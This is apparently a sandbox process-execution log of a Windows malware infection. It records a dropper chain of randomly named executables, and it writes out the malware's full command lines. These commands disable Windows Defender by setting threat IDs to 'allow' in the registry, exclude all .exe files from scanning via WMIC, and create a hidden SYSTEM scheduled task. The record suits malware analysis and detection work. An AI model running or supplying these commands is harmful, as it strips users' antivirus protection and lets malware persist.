run=1 shortcut="C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"

C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe

"C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe" /s

C:\Users\Admin\Pictures\UogaYUbUb8Aq5O10OiVnLPNU.exe

"C:\Users\Admin\Pictures\UogaYUbUb8Aq5O10OiVnLPNU.exe"

C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe

"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe" /install

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe

"C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe" /install "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers"

C:\Users\Admin\Pictures\fd1rvCQTEeMtlf306mcAhjvN.exe

"C:\Users\Admin\Pictures\fd1rvCQTEeMtlf306mcAhjvN.exe"

C:\Users\Admin\Pictures\SEEtKJ0XozwUKRMZhGWizSlI.exe

"C:\Users\Admin\Pictures\SEEtKJ0XozwUKRMZhGWizSlI.exe"

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regsvc

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regserver

C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe"

C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xODcuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xODcuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NkEzNjA5OTItQ0M1My00MzNELTlCMTAtMEEyQTgyNjlCOTU1fSIgdXNlcmlkPSJ7NUE0QjgwM0YtODhDRS00MEM3LTkxRTEtNDdDMzg1NEE3NTc0fSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9InswNDAyRjQxMC1DOEE1LTQyM0YtOTk2OS05NkQzRjk3Nzc0Mjd9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iOCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7RHhPYmpIR2ErblJhMmF0QzN3bytJRXBDNzgrWlllQVVia1hwREMyY2o3VT0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7RjNDNEZFMDAtRUZENS00MDNCLTk1NjktMzk4QTIwRjFCQTRBfSIgdmVyc2lvbj0iMS4zLjE4Ny4zNyIgbmV4dHZlcnNpb249IjEuMy4xODcuMzkiIGxhbmc9IiIgYnJhbmQ9IiIgY2xpZW50PSIiPjxldmVudCBldmVudHR5cGU9IjIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjQ4NTk0OTkwMjkiIGluc3RhbGxfdGltZV9tcz0iMzM1OSIvPjwvYXBwPjwvcmVxdWVzdD4

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers" /installsource otherinstallcmd /sessionid "{6A360992-CC53-433D-9B10-0A2A8269B955}"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xODcuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xODcuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NkEzNjA5OTItQ0M1My00MzNELTlCMTAtMEEyQTgyNjlCOTU1fSIgdXNlcmlkPSJ7NUE0QjgwM0YtODhDRS00MEM3LTkxRTEtNDdDMzg1NEE3NTc0fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7QTM1NEI3N0EtMjA3OS00Nzc0LTlDNDQtNEFEMDc2RkUxMTUxfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjgiIHBoeXNtZW1vcnk9IjgiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0Q2anhQZVVtS2ZoOHl0eTZGMDdZeE0xZVpESC9UVjZGUVQyZmZEaVp5d3c9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjExMC4wLjU0ODEuMTA0IiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIyMiIgaW5zdGFsbGRhdGV0aW1lPSIxNzE1MTcxMjQwIiBvb2JlX2luc3RhbGxfdGltZT0iMTMzNTk2NDM4MzUwMDAwMDAwIj48ZXZlbnQgZXZlbnR0eXBlPSIzMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMjExNDMyNCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNDg5MDkwNTI3NSIvPjwvYXBwPjwvcmVxdWVzdD4

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\MicrosoftEdge_X64_125.0.2535.79.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\MicrosoftEdge_X64_125.0.2535.79.exe" --msedgewebview --verbose-logging --do-not-launch-msedge --system-level

C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\MicrosoftEdge_X64_125.0.2535.79.exe" --msedgewebview --verbose-logging --do-not-launch-msedge --system-level

C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe

"C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=125.0.6422.112 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{EA951C80-44D1-4E4E-8C53-843A21DF0B6F}\EDGEMITMP_AFB0D.tmp\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=125.0.2535.79 --initial-client-data=0xfc,0xf4,0xe0,0xcc,0xdc,0x7ff694b84b18,0x7ff694b84b24,0x7ff694b84b30

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 3

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

C:\Users\Admin\Pictures\VyvE6nH9gRjNkmaLNl6lRdqy.exe

"C:\Users\Admin\Pictures\VyvE6nH9gRjNkmaLNl6lRdqy.exe"

C:\Users\Admin\AppData\Local\Temp\7zS93EE.tmp\Install.exe

.\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe

.\Install.exe /NQHxdidUQs "385118" /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 01:09:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe\" 1g /bCHdidMvet 385118 /S" /V1 /F

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"

C:\Windows\SysWOW64\cmd.exe

/C schtasks /run /I /tn bqGGCwwWIommTRgeuN

\??\c:\windows\SysWOW64\schtasks.exe

schtasks /run /I /tn bqGGCwwWIommTRgeuN

C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe 1g /bCHdidMvet 385118 /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

